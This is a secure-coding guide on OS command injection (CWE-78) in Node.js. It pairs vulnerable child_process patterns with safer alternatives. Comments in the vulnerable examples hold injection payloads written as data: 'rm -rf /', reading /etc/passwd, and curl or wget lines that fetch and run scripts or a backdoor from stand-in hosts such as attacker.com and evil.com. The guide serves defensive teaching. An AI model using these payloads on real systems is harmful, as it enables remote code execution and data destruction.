Skip to content

CWE-78: OS Command Injection - JavaScript

Overview

OS Command Injection in JavaScript/Node.js applications occurs when untrusted user input is incorporated into operating system commands without proper validation or sanitization. Attackers can exploit this to execute arbitrary commands on the host operating system, leading to complete system compromise, data theft, or denial of service.

Common Node.js Command Injection Scenarios:

  • Using child_process.exec() with user input
  • Shell command construction with template literals
  • String concatenation in child_process.spawn() with shell: true
  • Unsafe use of eval() or Function() with system commands
  • File path manipulation in system utilities

Node.js Command Execution APIs:

  • child_process.exec(): Spawns shell, vulnerable to injection
  • child_process.execSync(): Synchronous exec, spawns shell
  • child_process.spawn(): Can be safe if shell: false
  • child_process.spawnSync(): Synchronous spawn
  • child_process.execFile(): Safer, doesn't spawn shell by default
  • child_process.fork(): Spawns Node.js processes

Primary Defence: Use Node.js native modules (fs, https, etc.) instead of system commands, or if unavoidable, use child_process.execFile() or spawn() with argument arrays and shell: false.

Common Vulnerable Patterns

exec() with User Input

// VULNERABLE - child_process.exec() with string concatenation
const { exec } = require('child_process');

function pingHost(hostname) {
    // VULNERABLE - User input in command string
    const command = `ping -c 4 ${hostname}`;

    exec(command, (error, stdout, stderr) => {
        if (error) {
            console.error(`Error: ${error.message}`);
            return;
        }
        console.log(stdout);
    });
}

// Attack: hostname = "8.8.8.8; rm -rf /"
// Executes: ping -c 4 8.8.8.8; rm -rf /
// Deletes entire filesystem!

Why this is vulnerable:

  • exec() spawns a shell (/bin/sh or cmd.exe)
  • Semicolon allows command chaining
  • No input validation
  • Complete system compromise

Template Literals in Commands

// VULNERABLE - Template literals with user input
const { execSync } = require('child_process');

function convertImage(filename) {
    // VULNERABLE - Template literal with user input
    const command = `convert ${filename} output.png`;

    try {
        execSync(command);
        console.log('Image converted successfully');
    } catch (error) {
        console.error('Conversion failed:', error.message);
    }
}

// Attack: filename = "input.jpg; cat /etc/passwd > public/passwd.txt"
// Exfiltrates system passwords

Why this is vulnerable:

  • execSync() spawns shell
  • Template literals don't escape shell metacharacters
  • Command injection via semicolon
  • Data exfiltration

Express Route with exec()

// VULNERABLE - Express route executing system commands
const express = require('express');
const { exec } = require('child_process');

const app = express();

app.get('/lookup', (req, res) => {
    const domain = req.query.domain;

    // VULNERABLE - User input in nslookup command
    exec(`nslookup ${domain}`, (error, stdout, stderr) => {
        if (error) {
            return res.status(500).send('Lookup failed');
        }
        res.send(stdout);
    });
});

// Attack: /lookup?domain=google.com;cat%20/etc/passwd
// Executes both nslookup and cat commands

Why this is vulnerable:

  • User input from query parameter
  • No validation or sanitization
  • Shell spawned by exec()
  • Arbitrary command execution

spawn() with shell: true

// VULNERABLE - spawn() with shell enabled
const { spawn } = require('child_process');

function listDirectory(directory) {
    // VULNERABLE - spawn with shell: true
    const ls = spawn('ls', ['-la', directory], { shell: true });

    ls.stdout.on('data', (data) => {
        console.log(data.toString());
    });
}

// Attack: directory = "; rm -rf /"
// With shell: true, command injection is possible

Why this is vulnerable:

  • shell: true enables shell processing
  • Arguments are still processed by shell
  • Semicolon allows command injection
  • Directory traversal possible

Git Commands with User Input

// VULNERABLE - Git operations with user input
const { execSync } = require('child_process');

function cloneRepository(repoUrl) {
    // VULNERABLE - User-controlled URL in git clone
    const command = `git clone ${repoUrl} /tmp/repo`;

    try {
        execSync(command);
        console.log('Repository cloned');
    } catch (error) {
        console.error('Clone failed');
    }
}

// Attack: repoUrl = "https://evil.com/repo.git; curl http://attacker.com/shell.sh | bash"
// Downloads and executes remote script

Why this is vulnerable:

  • User-controlled URL
  • Command injection via semicolon
  • Remote code execution
  • System compromise

File Operations with System Commands

// VULNERABLE - Using system commands for file operations
const { exec } = require('child_process');

function deleteFile(filename) {
    // VULNERABLE - User input in rm command
    const command = `rm -f /tmp/${filename}`;

    exec(command, (error) => {
        if (error) {
            console.error('Delete failed');
        }
    });
}

// Attack: filename = "../../../etc/passwd"
// Directory traversal + file deletion

Why this is vulnerable:

  • User-controlled filename
  • Directory traversal with ../
  • Can delete arbitrary files
  • System files at risk

PDF Generation with System Tools

// VULNERABLE - PDF generation with user input
const { execFile } = require('child_process');

function generatePDF(htmlContent, outputPath) {
    // VULNERABLE - Even execFile can be dangerous with wrong usage
    execFile('wkhtmltopdf', ['-', outputPath], {
        shell: true,  // DANGEROUS!
        input: htmlContent
    }, (error) => {
        if (error) {
            console.error('PDF generation failed');
        }
    });
}

// Attack: outputPath = "output.pdf; curl http://evil.com/malware.sh | bash"
// With shell: true, command injection is possible

Why this is vulnerable:

  • execFile() with shell: true is vulnerable
  • User-controlled output path
  • Command injection possible
  • Remote code execution

Archive Operations

// VULNERABLE - Archive extraction with user input
const { exec } = require('child_process');

function extractArchive(archiveName) {
    // VULNERABLE - User input in tar command
    const command = `tar -xzf uploads/${archiveName}`;

    exec(command, (error) => {
        if (error) {
            console.error('Extraction failed');
        }
    });
}

// Attack: archiveName = "archive.tar.gz; wget http://evil.com/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor"
// Downloads and executes backdoor

Why this is vulnerable:

  • User-controlled archive name
  • Command injection via semicolon
  • Backdoor installation
  • Persistent compromise

Secure Patterns

Use spawn() Without Shell

WARNING: Avoid executing OS commands if at all possible. Node.js has packages for almost everything (axios, fs-extra, archiver, etc.). This pattern is ONLY for cases where no npm package exists (e.g., calling a legacy third-party binary). Always exhaust all Node.js alternatives first.

// USE WITH CAUTION - spawn() with shell: false (default)
const { spawn } = require('child_process');

function pingHostSecure(hostname) {
    // Validate hostname format
    const hostnameRegex = /^[a-zA-Z0-9.-]+$/;
    if (!hostnameRegex.test(hostname)) {
        throw new Error('Invalid hostname format');
    }

    // SECURE - spawn without shell, arguments as array
    const ping = spawn('ping', ['-c', '4', hostname], { shell: false });

    ping.stdout.on('data', (data) => {
        console.log(data.toString());
    });

    ping.on('error', (error) => {
        console.error('Ping failed:', error.message);
    });
}

Why this works: Using spawn() with shell: false (the default) passes arguments directly to the executable without shell interpretation. Even if hostname contains shell metacharacters like ;, |, or &&, they're treated as literal data rather than command separators. The regex validation provides defense-in-depth by rejecting malformed hostnames before they reach spawn.

execFile() Without Shell

WARNING: Use Node.js native libraries instead (sharp, jimp for images; archiver for archives). Only use execFile() when no npm alternative exists.

// AVOID IF POSSIBLE - execFile() doesn't spawn shell by default
const { execFile } = require('child_process');

function convertImageSecure(inputFile, outputFile) {
    // Validate file extensions
    const allowedExtensions = ['.jpg', '.png', '.gif', '.webp'];
    const inputExt = path.extname(inputFile).toLowerCase();
    const outputExt = path.extname(outputFile).toLowerCase();

    if (!allowedExtensions.includes(inputExt) || !allowedExtensions.includes(outputExt)) {
        throw new Error('Invalid file extension');
    }

    // Validate filenames (no directory traversal)
    if (inputFile.includes('..') || outputFile.includes('..')) {
        throw new Error('Invalid file path');
    }

    // SECURE - execFile with argument array
    execFile('convert', [inputFile, outputFile], (error, stdout, stderr) => {
        if (error) {
            console.error('Conversion failed:', error.message);
            return;
        }
        console.log('Converted successfully');
    });
}

Why this works: The execFile() function directly executes the specified program without spawning a shell, preventing command injection through shell metacharacters. File extension allowlisting ensures only permitted image formats are processed, while directory traversal checks (..) prevent access to files outside the intended directory. Arguments passed as an array are not subject to shell parsing.

Use Native Node.js APIs

// SECURE - Use native fs module instead of system commands
const fs = require('fs').promises;
const path = require('path');

async function deleteFileSecure(filename) {
    // Validate filename
    const safeFilename = path.basename(filename);

    if (safeFilename.includes('..')) {
        throw new Error('Invalid filename');
    }

    // Construct safe path
    const safePath = path.join('/tmp', safeFilename);

    // SECURE - Use native fs.unlink instead of rm command
    try {
        await fs.unlink(safePath);
        console.log('File deleted successfully');
    } catch (error) {
        console.error('Delete failed:', error.message);
    }
}

Why this works: Using Node.js's native fs.unlink() API completely eliminates command injection vulnerabilities by avoiding OS command execution entirely. The function operates directly on the filesystem through Node.js internals without invoking shells or external processes. Using path.basename() strips directory components, preventing path traversal attacks even if the input contains ../ sequences.

Express with Validation

// SECURE - Express route with strict validation
const express = require('express');
const { execFile } = require('child_process');
const validator = require('validator');

const app = express();

app.get('/lookup', (req, res) => {
    const domain = req.query.domain;

    // SECURE - Validate domain format
    if (!domain || !validator.isFDQN(domain)) {
        return res.status(400).send('Invalid domain name');
    }

    // Limit domain length
    if (domain.length > 253) {
        return res.status(400).send('Domain too long');
    }

    // SECURE - execFile without shell
    execFile('nslookup', [domain], (error, stdout, stderr) => {
        if (error) {
            return res.status(500).send('Lookup failed');
        }
        res.send(stdout);
    });
});

app.listen(3000);

Why this works: The validator.isFDQN() function ensures the domain matches fully qualified domain name standards, rejecting strings with shell metacharacters or command separators. Length limits prevent buffer overflow attempts. Using execFile() without the shell option passes the domain as a single argument to nslookup, where special characters are treated as literal data rather than executable commands.

Git Operations with Validation

// SECURE - Git clone with URL validation
const { execFile } = require('child_process');
const { URL } = require('url');
const path = require('path');

function cloneRepositorySecure(repoUrl) {
    // SECURE - Validate URL format
    let parsedUrl;
    try {
        parsedUrl = new URL(repoUrl);
    } catch (error) {
        throw new Error('Invalid repository URL');
    }

    // Allowlist allowed protocols
    const allowedProtocols = ['https:', 'git:', 'ssh:'];
    if (!allowedProtocols.includes(parsedUrl.protocol)) {
        throw new Error('Invalid protocol. Only HTTPS, Git, and SSH allowed');
    }

    // Allowlist allowed hosts (optional)
    const allowedHosts = ['github.com', 'gitlab.com', 'bitbucket.org'];
    if (!allowedHosts.includes(parsedUrl.hostname)) {
        throw new Error('Repository host not allowed');
    }

    // Generate safe destination path
    const repoName = path.basename(parsedUrl.pathname, '.git');
    const destination = path.join('/tmp/repos', repoName);

    // SECURE - execFile with argument array
    execFile('git', ['clone', repoUrl, destination], (error, stdout, stderr) => {
        if (error) {
            console.error('Clone failed:', error.message);
            return;
        }
        console.log('Repository cloned successfully');
    });
}

Why this works: Parsing the URL with the URL class validates its structure and rejects malformed inputs. Protocol and host allowlists create a strict boundary of acceptable sources, preventing attackers from referencing malicious repositories or using protocols that could execute code. Using execFile() with an argument array ensures the URL is passed as data to git, not interpreted by a shell.

Archive Operations with Native Libraries

// SECURE - Use native libraries instead of system tar command
const tar = require('tar');
const path = require('path');

async function extractArchiveSecure(archiveName) {
    // Validate archive name
    const safeArchive = path.basename(archiveName);

    if (!safeArchive.endsWith('.tar.gz') && !safeArchive.endsWith('.tgz')) {
        throw new Error('Invalid archive format');
    }

    if (safeArchive.includes('..')) {
        throw new Error('Invalid archive name');
    }

    const archivePath = path.join('/uploads', safeArchive);
    const extractPath = path.join('/tmp/extracted', path.basename(safeArchive, '.tar.gz'));

    // SECURE - Use tar library instead of system command
    try {
        await tar.extract({
            file: archivePath,
            cwd: extractPath,
            strict: true,
            filter: (path) => {
                // Prevent directory traversal in archive
                return !path.includes('..');
            }
        });
        console.log('Archive extracted successfully');
    } catch (error) {
        console.error('Extraction failed:', error.message);
    }
}

Why this works: The native tar library processes archives in JavaScript without invoking the system tar command, eliminating shell command injection entirely. File extension validation ensures only tar.gz files are processed, while path.basename() strips directory components. The filter function provides an additional layer of protection by rejecting archive entries containing .., preventing zip slip vulnerabilities.

Command Allowlist Approach

// SECURE - Allowlist of allowed commands
const { execFile } = require('child_process');

const ALLOWED_COMMANDS = {
    'ping': {
        executable: '/bin/ping',
        allowedArgs: ['-c', '-W'],
        maxArgs: 3
    },
    'nslookup': {
        executable: '/usr/bin/nslookup',
        allowedArgs: [],
        maxArgs: 1
    }
};

function executeAllowlistedCommand(commandName, args) {
    // Validate command exists in allowlist
    const command = ALLOWED_COMMANDS[commandName];
    if (!command) {
        throw new Error(`Command '${commandName}' not allowed`);
    }

    // Validate argument count
    if (args.length > command.maxArgs) {
        throw new Error('Too many arguments');
    }

    // Validate each argument
    for (const arg of args) {
        // Only allow alphanumeric, dots, dashes
        if (!/^[a-zA-Z0-9.-]+$/.test(arg)) {
            throw new Error('Invalid argument format');
        }
    }

    // SECURE - execFile with validated executable and args
    execFile(command.executable, args, (error, stdout, stderr) => {
        if (error) {
            console.error('Command failed:', error.message);
            return;
        }
        console.log(stdout);
    });
}

// Usage
executeAllowlistedCommand('ping', ['-c', '4', '8.8.8.8']);

Why this works: The command allowlist approach creates an explicit allowlist of permitted executables with absolute paths, preventing attackers from executing arbitrary programs. Argument validation with regex ensures only safe characters are passed, blocking shell metacharacters. Limiting the number of arguments prevents abuse through argument injection. This defense-in-depth strategy works even if individual validation layers are bypassed.

Containerized Command Execution

// SECURE - Execute commands in Docker container
const { execFile } = require('child_process');

function executeInContainer(userCommand, args) {
    // Validate command is in allowlist
    const allowedCommands = ['convert', 'ffmpeg', 'gs'];
    if (!allowedCommands.includes(userCommand)) {
        throw new Error('Command not allowed');
    }

    // Validate arguments (no shell metacharacters)
    for (const arg of args) {
        if (/[;&|$`<>]/.test(arg)) {
            throw new Error('Invalid characters in arguments');
        }
    }

    // SECURE - Execute in isolated Docker container
    const dockerArgs = [
        'run',
        '--rm',                    // Remove container after execution
        '--network=none',          // No network access
        '--memory=256m',           // Memory limit
        '--cpus=0.5',              // CPU limit
        '--read-only',             // Read-only filesystem
        'alpine',                  // Minimal base image
        userCommand,
        ...args
    ];

    execFile('docker', dockerArgs, (error, stdout, stderr) => {
        if (error) {
            console.error('Execution failed:', error.message);
            return;
        }
        console.log(stdout);
    });
}

Why this works: Executing commands inside Docker containers provides strong isolation - even if command injection occurs, the attacker is trapped in an isolated environment with no network access, limited resources, and a read-only filesystem. The minimal Alpine base image reduces the attack surface. Resource limits (memory, CPU) prevent denial of service. This approach assumes breach and limits damage through containerization rather than trying to prevent all attacks.

Verification

After implementing the recommended secure patterns, verify the fix through multiple approaches:

  • Manual testing: Submit malicious payloads relevant to this vulnerability and confirm they're handled safely without executing unintended operations
  • Code review: Confirm all instances use the secure pattern (parameterized queries, safe APIs, proper encoding) with no string concatenation or unsafe operations
  • Static analysis: Use security scanners to verify no new vulnerabilities exist and the original finding is resolved
  • Regression testing: Ensure legitimate user inputs and application workflows continue to function correctly
  • Edge case validation: Test with special characters, boundary conditions, and unusual inputs to verify proper handling
  • Framework verification: If using a framework or library, confirm the recommended APIs are used correctly according to documentation
  • Authentication/session testing: Verify security controls remain effective and cannot be bypassed (if applicable to the vulnerability type)
  • Rescan: Run the security scanner again to confirm the finding is resolved and no new issues were introduced

Additional Resources